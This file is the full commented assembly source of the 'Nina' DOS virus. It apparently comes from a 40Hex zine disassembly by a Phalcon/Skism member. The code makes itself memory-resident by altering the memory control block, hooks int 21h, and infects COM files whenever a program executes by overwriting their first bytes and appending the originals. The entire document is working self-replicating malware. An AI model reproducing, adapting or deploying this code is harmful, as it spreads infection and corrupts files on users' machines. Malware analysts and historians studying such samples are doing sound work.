.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
                push    ax
                mov     ax,9753h                ; installation check
                int     21h
                mov     ax,ds
                dec     ax
                mov     ds,ax                   ; ds->program MCB
                mov     ax,ds:[3]               ; get size word
                push    bx
                push    es
                sub     ax,40h                  ; reserve 40h paragraphs
                mov     bx,ax
                mov     ah,4Ah                  ; Shrink memory allocation
                int     21h

                mov     ah,48h                  ; Allocate 3Fh paragraphs
                mov     bx,3Fh                  ; for the virus
                int     21h

                mov     es,ax                   ; copy virus to high
                xor     di,di                   ; memory
                mov     si,offset start + 10h   ; start at MCB:110h
                mov     cx,100h                 ; (same as PSP:100h)
                rep     movsb
                sub     ax,10h                  ; adjust offset as if it
                push    ax                      ; originated at 100h
                mov     ax,offset highentry
                push    ax
                retf

endfile         dw      100h ; size of infected COM file

highentry:
                mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
                                                ; memory isn't freed when the
                                                ; program terminates
                mov     ax,3521h                ; get int 21h vector
                int     21h

                mov     word ptr cs:oldint21,bx ; save it
                mov     word ptr cs:oldint21+2,es
                push    es
                pop     ds
                mov     dx,bx
                mov     ax,2591h                ; redirect int 91h to int 21h
                int     21h

                push    cs
                pop     ds
                mov     dx,offset int21
                mov     al,21h                  ; set int 21h to virus vector
                int     21h

                pop     ds                      ; ds->original program PSP
                pop     bx
                push    ds
                pop     es
return_COM:
                mov     di,100h                 ; restore original
                mov     si,endfile              ; file
                add     si,di                   ; adjust for COM starting
                mov     cx,100h                 ; offset
                rep     movsb
                pop     ax
                push    ds                      ; jmp back to original
                mov     bp,100h                 ; file (PSP:100)
                push    bp
                retf
exit_install:
                pop     ax                      ; pop CS:IP and flags in
                pop     ax                      ; order to balance the
                pop     ax                      ; stack and then exit the
                jmp     short return_COM        ; infected COM file
int21:
                cmp     ax,9753h                ; installation check?
                je      exit_install
                cmp     ax,4B00h                ; execute?
                jne     exitint21               ; nope, quit
                push    ax                      ; save registers
                push    bx
                push    cx
                push    dx
                push    ds
                call    infect
                pop     ds                      ; restore registers
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exitint21:
                db      0eah ; jmp far ptr
oldint21        dd      ?

infect:
                mov     ax,3D02h                ; open file read/write
                int     91h
                jc      exit_infect
                mov     bx,ax
                mov     cx,100h
                push    cs
                pop     ds
                mov     ah,3Fh                  ; Read first 100h bytes
                mov     dx,offset endvirus
                int     91h
                mov     ax,word ptr endvirus
                cmp     ax,'MZ'                 ; exit if EXE
                je      close_exit_infect
                cmp     ax,'ZM'                 ; exit if EXE
                je      close_exit_infect
                cmp     word ptr endvirus+2,9753h ; exit if already
                je      close_exit_infect       ; infected
                mov     al,2                    ; go to end of file
                call    move_file_pointer
                cmp     ax,0FEB0h               ; exit if too large
                ja      close_exit_infect
                cmp     ax,1F4h                 ; or too small for
                jb      close_exit_infect       ; infection
                mov     endfile,ax              ; save file size
                call    write
                mov     al,0                    ; go to start of file
                call    move_file_pointer
                mov     dx,100h                 ; write virus
                call    write
close_exit_infect:
                mov     ah,3Eh                  ; Close file
                int     91h
exit_infect:
                retn

move_file_pointer:
                push    dx
                xor     cx,cx
                xor     dx,dx
                mov     ah,42h
                int     91h
                pop     dx
                retn

write:
                mov     ah,40h
                mov     cx,100h
                int     91h
                retn

                db      ' Nina '
endvirus:
                int     20h ; original COM file

                end     start